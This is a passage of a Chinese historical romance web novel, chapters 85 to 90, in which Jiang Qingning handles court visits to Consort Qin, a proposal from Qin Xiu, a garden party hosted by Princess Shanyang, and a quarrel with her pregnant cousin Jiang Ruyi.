她凭栏而立,目光落在波光粼粼的水面上,背影纤细而孤直。 轻微的脚步声自身后传来,沉稳而富有节奏,姜清宁听在耳中,但是却并没有回头。 林衡走到她的身侧,与她隔了半步的距离,同样凭栏望向水面,他并未立刻开口,只是静静地站着,仿佛也在欣赏这难得的夜色。 “林小公爷若是无话可说,那清宁就先回去了。” 姜清宁轻声开口,侧眸望向林衡。 晚风拂动他墨色的发丝和衣摆,侧脸的轮廓在宫灯柔和的光线下显得深邃而俊朗,收敛了白日里的锐利锋芒,倒显出了几分世家公子应有的风流蕴藉。 良久,林衡才低低开口,声音在夜色中显得格外清晰:“方才那支箭矢。” 他微微颔首,目光落在姜清宁沉静的侧脸上,“多谢了。” 姜清宁眼睫都未动一下,轻轻笑了下,似乎带着淡淡的慵懒:“小公爷言重,不过是同样盯上了同样的一只猎物,我又凑巧救了小公爷,一切都是巧合罢了,不足挂齿。” “巧合?” 第八十五章奉旨入宫 林衡轻笑一声,那笑声在寂静的夜里格外清晰,带着一丝玩味,“能在那等千钧一发之际,以如此刁钻的角度、如此惊人的速度射杀一条偷袭的毒蛇,若说是巧合……” 他顿了顿,语气一转,变得低沉而笃定:“姜小姐未免太过自谦,这份救命之恩,林衡铭记于心。” 他抬手,从腰间的暗袋中取出那支黝黑冰冷的弩箭头,修长的手指摩擦着那凹痕,动作带着一种说不出的意味。 “这支箭。”他将箭递到姜清宁面前,目光灼灼的锁着她,“物归原主,只是不知这剑头的刻痕,是何人所留?” “如此奇异的标记,林某倒是……从未见过。” 姜清宁转过头,目光落在那支染过蛇血的箭头上,停顿了一瞬,然后抬眸迎上林衡的目光,那双在黑夜中显得格外幽深、带着毫不掩饰探究欲的眼神。 “一个小标记而已,小公爷何必深究?”她声音平淡,欲伸手接过那支箭。 就在她的指尖即将触碰到箭杆的瞬间,林衡的手却微微一收,并未让她拿走。 他的手指反而顺势向上,极其自然的、带着不容拒绝的力道,轻轻拖住了姜清宁欲收回的手腕。 他的指尖温热,带着薄薄的茧,触碰到她手腕内侧微凉的肌肤时,那温度反差极其鲜明。 姜清宁的身体几不可查地僵了一下,眼神瞬间变得寒冷刺骨,她猛地抽手,动作快如闪电,带着一股凌厉的劲风。 然而林衡的反应同样快得惊人,他并未强留,在她抽手的刹那便已经松开,仿佛刚才那一触真的只是无心之举。 但他的目光却依旧牢牢锁着她,唇边那抹玩味的笑意加深,带着一种近乎挑衅的欣赏。 “姜小姐的箭……似乎比你的嘴……要诚实得多。” 林衡的声音在夜色中低低响起,目光掠过她迅速收回、引入袖中的手,最终定格在她那双因愠怒而更显清亮的眼眸上,一字一句,清晰无比。 姜清宁眼底寒光乍现,杀意如同冰锥般一闪而过,快得让人以为是错觉。 林衡敏锐地捕捉到了这点,非但没有退避,反而眼底深处略过一丝兴奋,果然这个女子绝非表面看起来那么简单。 “林小公爷,请自重。” “夜色已深,清宁告退。” 姜清宁的声音冷得如同数九寒冰,每一个字都像是冰珠砸落,淡青色的披风随着转身的动作在她的身后划出一道决绝的弧线。 紫苏和姜清晞早已在回廊入口等候,见状立刻跟上姜清宁的背影,主仆二人的身影很快消失在花木扶疏的阴影里。 林衡独自留在观景台上,看着她们消失的方向,手指下意识地捻了捻,仿佛还在回味方才那短暂的接触下,她肌肤微凉的细腻触感。 “自重?”他低声重复一遍,唇角缓缓勾起一抹势在必得的、近乎野性的弧度,眼神在夜色中亮得惊人,“姜清宁,你越是如此,我越是想知道,你这层坚冰之下,究竟藏着什么。” 西郊皇家猎苑的围猎很快结束,皇帝金口玉言的赞赏和那顶光华夺目的南海火珊瑚冠,如同投入湖心的巨石,在京城勋贵圈激起的涟漪久久未平。 姜清宁这个名字从昔日安平伯府,那个近乎透明的和离妇人,一跃成为京城最炽手可热的话题。 茶楼酒肆、深宅后院、议论之声不绝耳语,惊叹于她神乎其技的箭术,猜测她深藏不露的缘由,更有人将目光投向了那几位与她关系匪浅的权贵子弟。 秦贵妃的召见,便在这暗流涌动中如期而至。 一辆悬挂着姜府标识的青色马车,在晨光熹微中驶过肃静的管道,车轮碾过平整的石板,发出单调而规律的声响。 车内,姜清宁闭目养神,发髻间只簪了一支素净的玉簪,那顶象征着荣耀的珊瑚冠并未戴出。 皇宫外。 姜清宁扶着紫苏的手走下马车,宫门巍峨,守卫森严,领头的嬷嬷递了贵妃的腰牌,又经过内侍的仔细查验,三人才得以进入皇宫的大门。 朱墙金瓦,飞檐斗拱,在晨光中闪耀着庄重而冰冷的光芒,引路的内侍低眉顺眼,脚步无声,将她引向秦贵妃所居的昭华宫。 穿过一道道宫门,走过长长的回廊,最终姜清宁踏入昭华宫花木繁盛的后苑。 映入眼帘的水榭临湖而建,三面环水,垂柳依依,秦贵妃并未端坐在主位,而是姿态闲适地倚在临水的美人榻上,一身家常的鹅黄宫装,衬得她肌肤胜雪,少了几分正式场合的威仪,多了几分慵懒的柔美。 “臣女姜清宁,参加贵妃娘娘,贵妃娘娘万福金安。” 姜清宁行至水榭中央,姿态恭谨地敛衽行礼,声音清越。 “快起来,不必多礼。”秦贵妃含笑抬手,声音温和动听,带着天然的亲和力,目光却如同最精准的尺,不动声色地打量着眼前低眉垂首的女子。 “赐座,看茶。”秦贵妃吩咐道。 宫女立刻搬来绣墩,奉上茶水点心。 “臣女多谢贵妃娘娘。”姜清宁恭谨地落座。 “那日在猎场高台上,远观只觉得你冷静自持,此刻近看……姜小姐果真风采不凡。” 姜清宁手指微微紧缩:“娘娘……谬赞。” 秦贵妃端起自己面前的青瓷茶盏,轻轻撇着浮沫,语气温和,如同闲话家常,“今日近看呀,更是觉得钟灵毓秀,难怪……” “本宫没有说假话,方才是逗你的。”秦贵妃含笑,望着眼前的女子。 一身素净的月白襦裙,发髻简单,通身上下无多余饰物,唯有一支青玉簪斜插鬓间,愈发衬得她眉目如画,肌肤细腻如瓷。 她话锋微妙地一顿,眼波流转,笑意更深:“难怪母亲入宫时,对本宫提起你时,言语间满是赞叹,母亲的性子,可是极少如此夸人的。” “承元也是,可是从未对过旁的女子如此上心。” 姜清宁闻言眼帘微垂,遮去眸底一闪而过的冷意,她听得出秦贵妃话中的试探和撮合之意。 “国公夫人与世子谬赞,臣女愧不敢当。”姜清宁声音平静,“猎场之事不过是机缘巧合,得皇上与贵妃娘娘垂青,实乃清宁之幸。” 秦贵妃见她应对得体,言行间不卑不亢,心中又添了几分满意。 第八十六章挑衅十足 秦贵妃放下茶盏,语气带着几分真诚的关切。 “承元自幼被宠惯了,有时候行事未免急躁些,若是承元有失礼之处,还请姜小姐莫要与他计较。” 姜清宁垂眸,这话看似在为秦休开脱,实则已将她放在了需要秦休礼遇的位置上,暗示之意不言而喻。 “秦大人身份尊贵,言行自有分寸,何来计较之说?”姜清宁四两拨千斤地阻挡了回去,语气依旧淡然。 秦贵妃看着她沉静无波的眉眼,心中暗忖,此女心性果然坚韧,不是三言两语便能打动的。 她话题一转,笑容愈发亲切:“姜小姐不必如此拘谨,本宫一见你便觉得投缘,日后若有闲暇,不放常来本宫的宫中走动,陪本宫说说话,解解闷也是好的,这深宫寂寥,难得遇到可心的人儿。” 姜清宁心中好笑,这便是正式的邀约和亲近的信号了,昭华宫常客的殊荣,是多少京中贵女梦寐以求的青云梯。 “承蒙贵妃娘娘厚爱,清宁不胜惶恐。”姜清宁微微欠身,“只是清宁才疏学浅,又疏于礼数,恐扰了贵妃娘娘清净。” “哎,什么礼数不礼数的。”秦贵妃笑着摆摆手,姿态亲昵,“本宫就喜欢你这份真性情,以后唤你清宁可好?你也莫要再‘贵妃娘娘’‘贵妃娘娘’得叫了,没得生分,私下里唤本宫一声‘秦姐姐’便是。” 秦贵妃明示对姜清宁的抬举和拉拢,心中好奇她会怎么反应。 “娘娘厚爱,清宁铭记于心。”姜清宁依旧保持着恰到好处的恭敬,并未顺着那声姐姐应承下来,但也没有再次拒绝。 秦贵妃见她态度虽恭谨却有主见,也不强求,只当她是初入宫闱的谨慎,又闲话了几句岭南风物,言语间尽是关怀。 “你放心,姜大将军在岭南任职多年,如今岭南即将平稳,皇上有派其他官员去任职的打算,这段时间本宫提上一嘴儿,没准皇上便加快进程了。” 姜清宁一一恭谨地应答,即便心中是何等的嘲讽,但言行举止滴水不漏。 直到日头渐高,秦贵妃才略显倦意地揉了揉额角。 “瞧本宫,一说起来就忘了时辰,清宁今日初次入宫,想必也乏了,本宫让人备了些小玩意儿,你带回去赏玩。”她示意身旁的女官。 女官捧上一个紫檀木托盘,里面是一套赤金点翠的头面首饰,流光溢彩,做工极其精巧,一看便是内造珍品。 “谢娘娘赏赐。”姜清宁起身行礼谢恩。 “去吧,改日再来陪本宫说话。”秦贵妃含笑目送她。 紫苏上前,恭敬地接过托盘。 临出月洞门时,姜清宁脚步微顿,似不经意间侧首回眸望了一眼,水榭之中,秦贵妃依旧倚在美人榻上,目光却已投向波光粼粼的湖面。 秦贵妃方才温婉的笑意淡去,侧脸在光影中显出一种深宫女子特有的,难以捉摸的沉静。 姜清宁收回目光,心中清明,秦贵妃的亲近是笼络,是因为秦休和秦国公夫人的喜欢才会如此,这深宫里的每一份厚爱,都早已在暗中标好了价码。 城门外。 马车缓缓地离去,姜清宁闭着眼,指尖无意识地轻轻敲击着身侧的坐垫,发出细微的笃笃声。 “岭南的家书,有消息了吗?” “还没有。”紫苏摇头,眼中也浮上了一丝忧虑,“算算日子,早该到了,路上怕是……” “最终的消息还没得到,不要往坏处去问。”姜清宁沉声,摇头道。 然昭华宫的厚爱俨然如同一道无形的旨意,将姜清宁的生活悄然推入新的漩涡,她被迫成为昭华宫的常客。 每次入宫秦贵妃的亲昵态度都恰到好处,谈诗论画,品茗赏花,偶尔提及秦休的趣事,言语之间那份撮合的意味,在宫墙深苑的寂静里愈发清晰。 京城的风向变得微妙,已经转变为姜清宁究竟为何能得到贵妃娘娘的青眼,难不成秦国公府当真看重了姜清宁为儿媳? “这怎么可能,姜清宁怎么配成为秦国公府的儿媳?” “秦世子瞎了眼不成,山阳郡主追了他那么多年,都不能得到他的青眼,可姜清宁才成为秦国公府两月的邻居,怎么就走到如今的风光时候。” “谁知道她用了什么法子?从前我倒是对她的任何可能做法都不屑一顾,但如今竟然是想要求师拜学请她传授一二……” 无数人的猜忌都无法影响到姜清宁的正常生活,因为,她又奉诏入宫了,即便次次都拿着丰厚的赏赐,跟被送嫁妆一样,可跑得多了姜清宁还是心中无奈起来。 “姜小姐这边请。”宫女恭敬地引路。 姜清宁颔首踏入昭华宫后苑,走了几步便觉得气氛有异常,秦贵妃依旧坐在主位,脸上带着笑,但那笑意未达眼底。 她的下首坐着几位宗室女眷,其中一位面生的贵妇,眉眼间带着几分刻薄,正是刚随夫君调任回京的吏部侍郎夫人,刘氏。 “清宁来了,快过来坐,陪本宫叙叙话。”秦贵妃见到她,亲切地笑着打招呼,眼神却暗示她稍安勿躁。 “几日未见,贵妃娘娘风采更盛。” 姜清宁眉眼一转,含笑上前,坐在秦贵妃身旁,宫女刚放置的绣墩上,这份荣誉让在场的人纷纷眉眼微转。 “哎呀,说起来姜小姐如今可是京中的风云人物呢,猎场一箭惊艳四座,连皇上都赞不绝口,只是……” 刘氏故作惊讶言语几句,便话锋一转:“妾身随夫君在外任时,倒是听闻岭南那边……似乎有些不太平?” 姜清宁轻笑一声:“刘夫人不妨有话直言,清宁到底是武将之女,不屑于某些口腹蜜剑。” 刘氏目光意有所指地扫过姜清宁,挑衅十足的拖长语调:“姜将军到底是当年被流放岭南的,这些年劳苦功高为国戍边赎罪,姜小姐就应该谨守本分,莫要沾染不该沾染的江湖习气才好,免得引人非议,连累了姜大人辛苦得到的清名。” 第八十七章刚说出就被打脸 姜清宁心中冷笑,这番歹毒的话语,不仅暗示她父亲管教无法,更暗讽她行为不端啊。 水榭之中瞬间安静下来,所有的人目光都停在姜清宁的身上,担忧少见,多为看戏的幸灾乐祸。 姜清宁正要开口回答,身后清朗的男声,带着不容置疑地响起:“刘夫人此言差矣。” 众人循声望去,只见秦休不知何时已经站在水榭入口,他穿着一身深紫色的常服,玉冠束发,步履从容地走了进来,目光如寒星直直地射向刘氏。 “姜大小姐的箭术,乃皇上亲口嘉奖的‘勇冠猎场’,是巾帼不让须眉的本事,何来江湖习气之说?” “至于岭南。”秦休走到姜清宁的身侧站定,形成一种无形的庇护姿态,“姜大人坐镇南疆,宵小慑服,陛下多次褒奖其治军有方,守土有功。” “刘夫人随着吏部侍郎远在外任,道听途说一些无稽之谈便妄加揣测,甚至含沙射影功臣家眷,莫非是对陛下的判断有所质疑?”秦休声音陡然转冷,带着凛冽的压迫感。 刘氏脸色瞬间煞白,冷汗涔涔,秦休的话字字诛心,直接给她扣上了质疑圣意,污蔑功臣的大帽子。 “秦大人息怒,贵妃娘娘恕罪,是妾身失言,妾身绝无此意啊。”她慌忙起身告罪,吓得声音变调。 秦贵妃语气温婉地开头,带着敲打之意:“刘夫人心直口快,本宫知晓,只是这朝堂边疆之事,绝非我等妇人可妄议。” “清宁是陛下与本宫都看重的孩子,她的品性才学,本宫心中自有明断。” “今日之事到此为止吧,若是无事诸位就散了吧,清宁和承元留下。” 她轻描淡写地将此事揭过,目光掠过秦休护在姜清宁身前的背影,眼底闪过一丝深意。 姜清宁敛眸,遮去眼底的情绪。 待所有的贵夫人们离开,秦贵妃脸上浮现出真切的笑意:“从前左请右请,都没见你主动进入本宫的昭华宫,如今听到清宁可能会受委屈,倒是眼巴巴地跑过来英雄救美了。” 秦休听着姐姐打趣的声音,神色淡然,诚恳道:“阿姐说笑,今日只是来给阿姐送药,凑巧罢了。” 说罢,他从袖中拿出两个瓷瓶,递给一旁的掌事嬷嬷。 秦贵妃眼中闪过玩味,哼笑一声:“你只管解释,反正阿姐是不信的。” 药? 姜清宁心中猜忌,垂眸并未发出声音,只是暗暗记下了这件特殊的事情。 “阿姐要记得好好吃药,不要耍小性子,累了就好生歇息。”秦休面色微敛,眼底带着警告。 “不过是当年生孩子后遗留下的病症,原本就不打紧,亏得母亲日日记着,想一日不吃药都难。”秦贵妃无奈摇头。 秦休并未再应对秦贵妃的调侃,他看向姜清宁,关切地询问:“累了吗?我送你一同出宫。” 此事正合姜清宁的意思,她恭敬地起身行礼:“既然娘娘累了,那清宁先行告退,娘娘好生休息。” “去吧,别忘了拿着赏赐。”秦贵妃懒洋洋地摆手,乐得见到两人的亲密接触。 紫苏习以为常地接过紫檀木托盘,即便没打开都知道不是整套的头面,就是南海的珍珠发钗,或者是宝石坠子。 实在是秦贵妃得到的赏赐太多,如今也只有这些东西能够拿得出手了。 繁复的宫道上,姜清宁和秦休并肩在前方走着,青之和紫苏远远地跟在后面,两人的脸上都挂着八卦的神情。 秦休和姜清宁保持着沉默,两人默不作声,直到快走出皇宫,姜清宁望着即将抵达的宫门,停下脚步,转身看向秦休。 “秦大人,当真是想要娶我?”想到全家都快出动了,秦贵妃更是几乎日日拿着贵重的首饰砸,跟要砸开她的心扉一样。 “姜清宁,我原以为我的意思已经表达得足够明显,原来你还是没注意到吗?” 秦休想到上一次生气姜清宁把她置身于危险之中,气冲冲地走开,结果再没有遇到姜清宁的身影,心知她是在刻意的躲避,心中无奈却只能自动消气主动前来遇到。 “我心悦与你,不是一朝一夕,更不是执念,而是在经历了数年之后,依旧想要与你成婚白首不相离的坚定。” 秦休眉眼中充斥着认真的神色,二人四目相对,姜清宁感受到了炙热的情绪。 姜清宁皱眉:“秦大人,我成过婚,生过孩子,已经并非京中不通世事的少女,你……” 秦休坚定地打断:“那又如何,我心悦你,便是不会放弃,这跟你嫁没嫁过人没有区别。” “若是知道你这几年,我早已不顾名声地将你抢回来,姜清宁,我这样说,你可明白?” 姜清宁心神震撼,她回过神来,后退一步,秦休敏锐地伸手握住她的手腕,不给人再退缩的机会。 “这一次,你别想逃,我不会再让人打扰你我了。”秦休上前一步,声音坚定,“姜清宁,给我一个答案,我发誓,只要你肯嫁给我,从此我听你的,秦国公府也听你的。” “有了这么多助力,你不用再为了得到什么苦苦筹谋,更不用因为妹妹受伤而忍耐,让自己露出锋芒引敌人上钩。” “和我成婚,除了多一个烦你的男人,别的依旧和寻常一样,我保证不会让你失望。” 姜清宁瞳孔微颤,震惊的看着秦休认真的神色,他……竟然又猜到了。 “林衡的事情,我可以帮你。”秦休倾身,在她的耳边低声说道,“那你呢,姜清宁,你的选择又是什么?” 姜清宁眼中闪过挣扎,她张了张口,发现自己无法准确地,回答秦休的话:“秦休……你不要这样……” “不要怎样,逼你做出选择吗?”秦休低笑一声,声音低沉,“姜清宁,我马上就不年轻了,我要抓住自己最好的机会,留住你的心,所以你体谅一下我,好吗?” “咳咳……”两人的身旁传来一道轻微的、带着颤抖的咳嗽声。 第八十八章山阳郡主 内室监迎上两人侧头的目光,尖细的声音带着颤音:“秦大人,陛下有请。” 姜清宁仿佛看到救赎一般,摆脱秦休顺从松开的手,后退几步,防范道:“秦大人公务繁忙,清宁告退。” 话音落下,她毫不犹豫地转身朝着宫门快步走去,动作之迅速让人误以为她连轻功都会。 秦休望着姜清宁逃离的步伐,心底微微发沉,失望是必须的,但更多的是自我鄙夷,鄙夷他自己,还是不能再姜清宁的面前争取到一席之地。 新雨后的微潮与草木蒸腾的清气,透过精雕的支摘窗,斜斜地落在姜清宁面前的那张泥金笺上。 笺上墨字淋漓,端的是平王府的徽记,赏花宴,明日午后。 指尖拂过那微凸的墨迹,一丝极淡的冷意从心头掠过,出宫不过一日,这帖子便递到了宁阁。 “奴婢方才听门房说,这是平王府的独女山阳郡主让人亲自送来的。”紫苏犹豫着说道。 平王府,山阳郡主,李幼薇,这个名字姜清宁在被召见入宫时,便偶有耳闻。 传闻是平王独女,一身武艺,性情如烈火骄阳,明艳夺目,是京中谁也不敢招惹的存在,可偏偏山阳郡主会邀请她这个得到圣恩,却身份尴尬的‘罪臣之女’。 姜清宁敛眸,声音低沉:“只待明日,一切缘由都将水落石出。” 翌日。 梳妆匣打开,里面装满了名贵首饰,紫苏挑了一支素银簪子,为她挽住如云青丝,发髻灵巧的在紫苏手中呈现,随后便是金镶玉簪子插入发髻里。 姜清宁选了一身天青色的软烟罗衣裙,素净的几乎融入一旁放置的古籍之中,铜镜里映出的容颜清丽绝世,只是眼底深处藏着挥之不去的沉重。 “走吧,是神是魔,都需要去会一会了。” 姜清宁径直起身,朝着屋外走去。 …… 马车停在平王府气派非凡的朱漆大门前,不愧是我朝唯一的异性王,门庭若市,香车宝马堵塞了半条街。 踏入平王府的大门,环佩叮当,衣香鬓影,空气里弥漫着浓郁的脂粉香、熏香以及各种珍稀花卉混合的馥郁气息。 姜清宁敛眸,随着引路的侍女踏入未出阁女眷身处的园子,她的出现,仿佛一滴水坠入沸腾的有过,周遭再次浮现出姜清宁熟悉不已的注视。 她下颌线绷得极紧,背脊挺直如修竹。 “瞧,这是谁来了?” 一道骄傲的女声响起,引得姜清宁循声望去。 花径尽头,众星捧月般的簇拥下,一位盛装少女出现,火红的骑装勾勒出矫健的身姿,腰间束着金丝软鞭,乌发高高束起,簪着耀眼的赤金点翠步摇。 她眉眼飞扬,如同正午最灼人的烈日,漂亮却锐利的杏眼牢牢地锁在姜清宁的身上,唇角勾起一抹矜傲的弧度。 山阳郡主李幼薇。 姜清宁在心中给她定位。 “这不是咱们刚从宫里得了赏赐出来的姜大小姐?”一位贵女连忙应和,面上喜不自胜。 李幼薇分开人群,径直走到姜清宁的面前,下巴微扬,目光扫视着姜清宁全身。 周围贵女们围成一圈,把姜清宁和李幼薇包围在内,见到身为主人的李幼薇未出声阻拦,不由得言语放肆起来: “都说这皇宫的风水养人,怎么姜大小姐瞧着这气色,倒像是被抽了筋骨似的?” “我差点忘了,姜大人夫妇可是为国分忧,远赴岭南效力去了,姜大小姐这是忧思过度?” 每一句话都包裹着尖刺,带着幸灾乐祸的意味,狠狠扎向姜清宁表面维持的平静。 姜清宁袖中的手悄然攥紧,指甲深陷掌心,带来一丝尖锐的疼痛,勉强压住胸腔里翻涌的血气。 她抬眸,迎上李幼薇那双明亮好奇的眼眸,唇瓣微动,正要开口。 李幼薇眉眼不耐,骄矜地喝道:“都给本郡主住嘴,京中闺阁的贵女们,何时学来攀扯墙根儿的妇人嘴脸?” 姜清宁心中诧异,抬眼看着李幼薇,敏锐地捕捉到李幼薇眼中的不好意思,微愣住。 “看什么看,小心本郡主……”李幼薇和她对视,瞬间后退一大步。 一阵突兀的骚动,从月洞门的方向传来,打断了现场怪异的氛围。 姜清宁和李幼薇转身望去,只见一个穿着半旧不新藕荷色衫裙的女子,在两名丫鬟小心翼翼的搀扶下,缓缓走了进来,她腹部微微凸起,步伐走得缓慢,双手扶着小腹。 姜如意脸色带着一种病态的苍白,眼神却异常怨毒,望向姜清宁的眉眼带着痛恨,李幼薇注意到她的视线,扬声问道:“她是谁?” 姜清宁把姜如意可以显摆的姿势看在眼中,眉眼带冷笑。 短暂的惊愕后,园中瞬间爆发出比方才更加露骨的嗤笑声和窃窃私语。 “这不是姜家二房的那位嫡小姐,两月前嫁给安平伯的姜如意吗?” “听说她不是因为手段残忍,要迫害安平伯的妾室,被关入安平伯府的静思堂了吗?” “新婚第二日她的父母还去安平伯府闹了一通,却也没有改变什么结果,看来是因为怀上身孕才能出来的。” “瞧瞧这肚子,怕不是提前就双喜临门了……” “姜家长房一个父兄流放,二房未婚先孕……这姜家的门风,呵。” 姜如意刚刚走进,就听到这些充满恶意的嘲讽声。 她的身体明显晃了一下,脸色惨白如纸,扶着肚子的手颤抖着,怨毒的目光死死地盯在姜清宁的身上。 “哐当!” 一声瓷器破碎的声音骤然响起,震得在场的贵女们纷纷一惊。 李幼薇不知何时已经回到主位旁坐下,脚边是一堆名贵白瓷茶盏的碎片,茶水四溅开来,沾湿了她火红的裙裾。 她俏脸含煞,柳眉倒竖,一只手摁在腰间的金丝软鞭上,对着满园被惊呆的贵女们怒斥道: “吵死了,一个个舌头长的是只会嚼蛆吗?嗡嗡嗡的烦不烦?” 李幼薇声音清亮,带着不容置疑的娇纵蛮横,瞬间压下所有的议论,杏眼凌厉地扫过全场,最终落在姜清宁平静的脸上。 第八十九章女人心海底针 “你,姜清宁是吧,过来陪本郡主去看牡丹!”李幼薇抬起下巴,朝着姜清宁命令道,“傻愣着干什么,还不快过来,离这些碎嘴子远点!” 话音落下,她不管在场的众人是何等惊愕的反应,转身昂首挺胸地朝着牡丹圃的方向大步走去。 姜清宁抬步跟上,适应了李幼薇独有的霸道无礼的解围方式,二人一前一后地走着,直到置身雍容华贵的牡丹圃里。 姜清宁在她身后几步远的方向停下,安静地等候着李幼薇的下一步动作。 李幼薇手指有些粗鲁地拨弄着墨紫色的花瓣,骄阳落在她火红的骑装上,跳跃着金色的光点。 “哼。”李幼薇忽然轻哼一声,语气别扭道,“别以为我方才是帮你,我只是相比之下更讨厌那些人,虚伪、聒噪、像一群围着腐肉打转的苍蝇。” 姜清宁听着她形象生动的比喻,不禁有些反胃。 “还有你,一副逆来顺受,任人宰割的模样,看着竟然本郡主憋屈,你还是武将的女儿呢,就这点骨气?” 姜清宁张了张口,无奈地附和:“郡主说的是。” 李幼薇对这个回答显然非常不满意,她猛地转过身来,明亮的杏眼带着审视和一种莫名的烦躁。 “本郡主问你,你当真和那秦休……互通情意?” 姜清宁愣住,眨了眨眼,“臣女和秦大人……” “岭南新贡的妃子笑,据说今年雨水充足,甜度倒是正好,二位可想要尝试?” 两人浑身一震,豁然转头,李幼薇是被抓到把柄的震惊羞耻,姜清宁则是想到秦休之前说的话,不由得心神震荡。 灼灼花影之后,秦休欣长挺拔的身影闲庭信步般地出现,玄色暗云纹锦袍,玉带束腰,衬得他宽肩窄腰,贵气天成。 “姜清宁,要尝尝吗?” 秦休将手中的竹篮举起,递到姜清宁的面前,里面都是红彤彤的诱人的荔枝。 “陛下新赏赐给我的,听闻你在这里,我就送过来给你尝一尝,怎的跑到这里来了。” 姜清宁猛地抬眼,撞入秦休深不见底的眸中。 李幼薇站在一旁,将两人之间无声涌动的暗流尽收眼底,她看着秦休那旁若无人,专注望着姜清宁的眼神,一股难以言喻的刺痛猛地攫住了心脏。 她握着软鞭的手指骤然收紧,指节泛白。 “秦休!”李幼薇声音里带着委屈,打破了两人之间微妙的气氛,“你什么时候来的,鬼鬼祟祟的躲在花丛后面做什么!” 秦休仿佛才刚注意到旁边还有个人,恢复了惯常的疏离淡漠,语气也显得漫不经心:“郡主,路过而已。” 他目光扫过李幼薇腰间的软鞭,意有所指:“郡主性情还是这般活泼,不过鞭子还是收好为妙,平往府的牡丹娇贵,抽坏了,平阳王夫人也会心疼。” 李幼薇被他这冷淡的态度一噎,心头那股无名火烧得更旺,却又发作不得,只能狠狠瞪了秦休一眼。 “要你管!反正你也不喜欢我!”她气得跺脚,留下这句话,便气冲冲的转身大步离开,火红色的身影很快消失在花径深处。 现场只剩下秦休和姜清宁两人,他的目光落回姜清宁的脸上,将她的疏离看在眼中,低低地叹了口气。 秦休伸出手,带着不容抗拒的暖意,轻轻握住了她冰凉的手腕,在触及到之时敏锐地察觉到姜清宁那一瞬间的颤抖。 “吓着了?”秦休低声询问,声音低沉得如同耳语。 他带着前所未有的,近乎温柔地安抚到:“还是……在怨我昨日的举动?” 他的掌心温热,力道坚定,透过薄薄的衣衫传递而来,姜清宁被迫抬起头,再次撞进他的眼底。 姜清宁垂眸,又看了眼被他握着的手腕,那温度像是烙铁一般,烫得她心尖都在战栗。 在她自以为孤立无援,独自应对的时候,秦休再次出现。 “罢了,不想说就不说了,我送你回宁阁。” 秦休握着她的手腕,力道温和,却带着不容置疑的引导。 姜清宁被牵动着跟着秦休的步伐,他的身影在前,玄色的衣袍在灼灼牡丹丛中划过,如同最坚实的城墙,只护卫着她的安慰。 她的目光掠过秦休线条冷峻的侧脸,掠过他挺拔如松的肩背,心口那团滚烫的,几乎要冲破胸膛的情绪,终于找到了宣泄的出口。 迈过月洞门,姜清宁飞速清醒,将自己的手腕抽了回来,后退一步疏离道:“多谢秦大人方才解围,清宁不胜感激。” “姜清宁,想要再次和我撇清关系吗?” 秦休眉眼低垂,声音失落,带着征询的语气。 姜清宁心底一窒,下意识地想要反驳:“不是……” “那你就是愿意接受我了,我就知道,姜清宁,你其实很擅长心软。” 秦休得到便宜就卖乖,眉眼含笑的模样让姜清宁觉得自己中了圈套。 她哑然,顿觉自己玩不过秦休了,到底是年纪比她小一些,总是能够让她容易心软。 “姐姐,多日不见,看来姐姐最近过得很好。” 一道尖锐的女声从一旁响起,引得姜清宁不适的皱眉,她侧头看过去,和脸色苍白的姜如意对视。 “我过得的确是不错,就是听说妹妹你,倒是过得不是很好,这样我就能放心了。” 姜清宁嗤笑一声,语气之中充满了嘲讽,丝毫没有方才的隐忍不发之意。 姜如意瞬间脸色一僵,气得浑身颤抖:“姜清宁,你还敢嘲笑我?” “如今我可比你更快的怀上安平伯府的嫡子,你当年嫁给伯爷可是整整三年才有子嗣,我如今的孩子却已经有了三个月,我到底是比你有福气得多!” 姜清宁没被影响,冷淡地回答:“不被人喜爱的孩子吗?生下他,只是害了他而已。” “你!”姜如意气急,她狠声道,“别指望我的儿子生出来之后,你的儿子在伯府还能有立足之地!我的孩子会狠狠地把荀莫离踩在脚下,让他和那个贱人终生在伯府的破院里苟延残喘!” 第九十章家书 “随你,他选择荀臣,便是荀臣的儿子。” 姜清宁冷淡的回答,在姜如意不可置信的目光中,转身径直朝着平王府外走去。 姜如意不死心地追问:“姜清宁,你当真不在意自己的亲生儿子吗?他可是你十月怀胎生下来的骨肉,我不信你一点儿都不在意!” 姜清宁停下脚步,在姜如意带着喜意的眼神中,眼神冷若寒潭:“为什么你们所有人都觉得,我一定要在意荀莫离,一定要处处以他为重?” “他虽然是我的儿子,但我是姜清宁,为自己而活的姜清宁。” “我自认不是宽容大度之人,更不是博爱的母亲,所以他对我来说只是当年掉下来的一块儿肉,更何况这块肉让我孕期吃尽了苦头,更让我险些难产而亡,长大后更是不忠不孝,这样的儿子,我为什么要在意?” 姜清宁的一番质问,另姜如意哑口无言,甚至在她条理清晰地表达之后,心中竟然认可了姜清宁的话。 她忍不住去想,若是这是自己的儿子,只怕会宁愿丢进池塘里溺死,都不想要这样的存在。 周围的贵妇人将两人的对话听在耳中,不由得齐齐应声道:“说得好,就应该如此。” “谁说生了孩子,就只能围着孩子转了?” “都和离了,还管他们一大家子的事情干什么?” “有些人就是吃不到葡萄说葡萄酸,见到姐姐如今过得好,还有一堆优秀男子追捧,自己过得不好便心生嫉妒。” “当真是狼心狗肺,什么玩意儿。” …… 场面达到姜清宁想要的效果,姜如意被这幅场景吓得后退,脸色发白,额头直冒冷汗,惊恐地捂着肚子。 姜清宁达到想要的结果,顿时转身,打算抽身离去。 下一刻,她愣了下,对上秦休满是心疼,来不及隐藏情绪的眼眸。 “你……” “姜清宁,你受苦了。”秦休眼尾微红,将视线撇开。 “不过是过去罢了。” 姜清宁低声说完,越过他朝着平王府外走去。 今日李幼薇的目的她已经猜测到,果然就是如传闻中所言的,她追求了秦休多年未得到应有的回报,不过是听说了秦休对她的态度,想要来见一见罢了。 本性还是个非常的口是心非,容易心软的女孩子而已,曾担心产生的假想敌消失,姜清宁周身按时轻松的氛围。 紫苏扶着她走上马车,姜清宁听到外头,秦休将荔枝尽数交给紫苏,紫苏恭敬道谢的声音。 她心中微动,掀开马车门帘,双眼含笑看着秦休:“秦休,你若是真心喜欢我,那死缠烂打的方式就不要用了,我喜欢成熟的男子。” 秦休微微一顿,而后眉眼中泛起轻松的笑意:“姜清宁,我是有机会了吗?” “谁知道呢。” 姜清宁放下门帘,弯腰落座,在紫苏走上马车之后,轻声喝道:“回府!” 秦休侧身让道,亲眼看着马车消失在视线之中,眉眼之中盛满了笑意。 “世子爷啊,咱们可终于是有机会了。” 